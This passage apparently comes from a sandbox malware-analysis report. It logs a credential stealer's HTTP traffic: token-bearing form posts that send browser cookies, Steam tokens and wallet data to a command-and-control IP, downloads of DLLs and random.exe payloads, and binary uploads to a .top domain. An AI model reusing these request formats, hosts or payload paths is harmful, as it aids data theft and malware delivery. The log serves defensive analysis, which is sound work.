name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"fplugins------EGDGCGCFHIEHIDGDBAAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFCHost: 185.215.113.206Content-Length: 7603Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 36 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007862001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBFHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CAEHDBAAECBFHJKFCFBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007863001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAEHJDBKJJKFHJEBKFHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 2d 2d 0d 0a Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="file"------ECFCBKJDBFIJKFHIIDAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file"------EGIJKEHCAKFCAKFHDAAA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007864001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"wallets------KKKKEHJKFCFCBFHIIDGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"files------HCAEGCBFHJDGCBFHDAFB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBAKFCFHCGDGCBAAKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="file"------BGDBAKFCFHCGDGCBAAKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="message"ybncbhylepme------KJJJDHDGDAAKECAKJDAE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 459Content-Type: multipart/form-data; boundary=------------------------qTeB9muqvwMrHPnBTh6MsbData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 71 54 65 42 39 6d 75 71 76 77 4d 72 48 50 6e 42 54 68 36 4d 73 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 76 61 79 65 7a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a fa b1 5d 0b 99 0e 9e e9 7e 1c 7d 0f 5d 2e 4a b8 da 54 5e 34 3f c2 8a 8a 51 53 2d 99 3f 48 42 c0 a4 cf dd 6c 47 06 51 96 05 e8 ff 37 76 5c 54 cf f4 0d 56 71 40 ba a3 b1 59 51 14 d9 cf 17 43 be 57 13 a8 30 a9 e8 a5 5e 12 bc cc 9f 3f a2 c1 7b a8 86 ce 90 79 f1 a2 55 8c c2 7f 19 fc b9 39 37 38 31 d1 ef fa 24 7a 6e c2 62 69 ce d2 95 7b f8 a3 53 14 f1 61 89 25 f4 8b 2e e5 1a b0 a6 72 46 ca f7 c9 ff c6 8d 1c 07 ae f5 ca e7 e0 03 6f ca 21 60 44 c6 60 c3 53 bb 11 f7 7e 43 82 97 73 dc f8 1e 6d de 9b 9a 04 73 35 16 a3 1c c7 8e 7f 1d a5 67 58 d2 e5 cf 0a a9 42 06 c7 c5 64 8a 05 63 a3 98 f3 51 1b 15 30 c7 d2 66 46 33 14 52 a5 7a 30 16 ec ed c7 ed 0a 50 a1 2d 14 bb d3 b8 b1 89 31 5e 14 09 93 9b 7e 6a 1f c8 66 33 fb a1 53 02 4e 89 13 48 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 71 54 65 42 39 6d 75 71 76 77 4d 72 48 50 6e 42 54 68 36 4d 73 62 2d 2d 0d 0a Data Ascii: --------------------------qTeB9muqvwMrHPnBTh6MsbContent-Disposition: form-data; name="file"; filename="Govayez.bin"Content-Type: application/octet-stream]~}].JT^4?QS-?HBlGQ7v\TVq@YQCW0^?{yU9781$znbi{Sa%.rFo!`D`S~Csms5gXBdcQ0fF3Rz0P-1^~jf3SNH--------------------------qTeB9muqvwMrHPnBTh6Msb--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 63829Content-Type: multipart/form-data; boundary=------------------------9HDdpWzzUF5YIyzuasg9E9Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 48 44 64 70 57 7a 7a 55 46 35 59 49 79 7a 75 61 73 67 39 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 75 6d 65 6b 69 71 6f 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 5c 64 cd b0 3e af f6 10 03 97 93 11 83 87 77 2d cb a1 c4 ed 5a 74 0f de bd 63 54 93 ea 25 44 30 0e e7 63 0d cb 81 4d c4 d2 7b e0 12 d3 21 88 05 28 17 54 14 a9 c0 b1 a0 9b b3 1c 4b f7 81 05 ba c3 e7 80 03 98 5c 41 b7 25 8b 0d e3 11 3c be 0d cc ae 5d e8 4f 51 bf cc 41 2e 0e 3e 4e 88 51 e9 20 9b ab 07 15 80 65 9f 02 c4 12 d7 8b 21 00 1b 9e 85 bd 57 fd 3b 56 24 77 72 27 70 2a 85 da 65 29 06 fc a2 a2 f5 72 5d 2a 50 d1 ad ce d1 5c 2f f9 73 ba 9e c9 88 e2 83 16 f9 41 48 a0 1d c4 96 82 1e 5b eb d9 32 52 a4 2a d9 66 31 0c 61 51 28 a9 7b d7 15 bf c3 9e fa a7 85 30 dc 08 ec 04 35 85 99 27 d4 58 c3 c7 5a fe bc 2f 9a 91 9d 0b c9 b3 3d 89 ec ca a5 80 f5 06 8e 13 32 01 33 70 a1 b1 9e 05 cd 05 fc 2d d8 44 0b 93 20 fc 2f 01 1d 68 bd b1 b4 da b2 11 e2 20 ac 3d c4 cf 91 88 6e ff aa 36 88 82 d5 c5 06 07 a6 b5 6f 1b 1a 4d 27 34 ac d6 67 8d 10 7d dd ab d4 b5 19 f0 9f 5c f7 0b 96 11 4d b6 49 d8 3c 11 76 22 f4 2a 08 14 46 61 47 9a 76 7d 67 20 36 48 50 93 73 42 07 c5 8c 5a e4 f6 3c 9a 5e 87 67 9b 56 19 bf cf 29 61 b3 20 20 d6 1f 3d d2 4c dc 90 0f d5 c0 6b 89 f0 2f 22 62 3e 4f 33 8a 55 cb 7d 86 3d ec 30 f1 e9 a0 41 a3 d5 5f 4c f0 22 e4 73 c0 24 57 a5 d3 b5 ae 9e d4 1d f7 7f fe a4 67 32 93 76 34 83 01 17 e3 61 62 f8 bb 13 5a e5 29 90 ed 9b 1e b3 f3 0a 94 c4 fc a9 68 15 6e cc 40 95 3f 47 30 b8 4a 54 57 4b 73 4a 75 ec eb ed 30 c2 02 be 10 41 ba 69 00 3d 52 b6 a0 2c 31 52 85 ed 27 a8 8d 01 20 e1 f7 46 62 05 e7 19 5f 80 b2 43 13 30 20 04 54 b4 55 3f 96 73 a9 b9 6d e1 4a d7 5f 0f a1 2a 7e a0 23 9d 89 79 aa 72 86 66 d0 cf 2e d4 c4 9c 94 0b a1 61 38 c6 23 99 29 e2 89 81 c5 84 46 99 f5 07 f4 70 46 d1 3f 63 0e 04 27 88 88 47 88 e3 56 33 01 c4 f5 14 d9 f6 a0 f9 ed dc 70 eb 5d ca 2c 67 f6 67 8d af c5 a5 30 5f ec 6a 7a b2 50 15 72 1f 24 76 48 ca b9 3b fe 7f 5d 1b 40 26 6d dc 88 bc e2 e3 c8 f9 29 2f 0c 83 9b a3 7a e6 9a eb e7 35 22 49 75 14 81 02 ba 27 0a 2b f6 72 44 12 8d e3 e4 58 a9 c2 57 e0 a4 49 08 80 49 20 b5 af 81 f2 70 69 f9 80 5e 05 c8 33 d0 ba c4 74 ff 3f 14 ac c0 31 45 29 ea 77 3c 09 ee c9 d4 2b 44 90 e5 57 33 25 bc f4 1d b6 e6 67 cb 9c d9 db ff 02 90 08 bf d7 a5 26 4b 59 73 bf 70 f9 ae 2b b1 a3 2a f8 29 6e d5 98 26 bf d3 37 aa e2 ce 9c d7 69 52 56 eb 2b 09 28 3b 84 82 fd 47 95 ca 72 98 3d 79 c6 68 c4 e2 81 bc 9e bc fa df 2c ea 88 e8 56 24 1b a5 d5 42 95 c6 29 ad c1 ba ca 83 b6 1b b2 59 9b 69 0f 19 aa e6 f8 b5
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 25618Content-Type: multipart/form-data; boundary=------------------------ALYz1wwQse6Z4RpOdi7O2IData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 41 4c 59 7a 31 77 77 51 73 65 36 5a 34 52 70 4f 64 69 37 4f 32 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 6a 6f 77 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a e4 1c bc 95 fd 0a 41 db d8 ea c6 52 01 5b 9a 06 4c f0 7d 99 31 97 83 3b e8 ea 49 65 32 73 d2 34 22 58 96 7b cb 45 1b 85 fe f6 48 89 12 98 5a f5 74 72 e9 b4 64 e0 57 bc 1d 0e 15 20 4c 30 f6 e9 da 3d 6e 51 77 c6 58 f7 55 32 bd 7c 2f 1c 1a 61 83 48 88 c7 b1 c9 be af 73 3d 03 49 2c ff d3 8b db eb 71 40 18 6d 97 45 b7 b9 b6 1d a1 eb 8e bd de 64 12 38 9f 68 88 11 08 20 52 41 4c 0c a9 aa 69 de b5 1e 69 1c 81 02 6a 43 6b 3f 2c 5e 86 5c 1c aa 52 b4 49 27 37 f4 e5 0e cc 7f ac ff e3 48 9b b8 ab 72 1f ee 8e 42 8d d4 5e 5b 90 66 75 7c e3 1a 94 07 4c 9d 48 53 9e 44 cd 0a 27 00 8e 9e f5 11 eb 10 e7 be c1 04 96 09 31 28 61 d1 9c 58 04 a8 9c 91 8d 79 4d ea e0 6d 17 d5 8a 78 55 98 50 d9 69 d4 0b 2f 7a 86 f5 29 58 24 33 f3 b2 2c bd 35 72 ee b6 72 ec c4 7f 4d e3 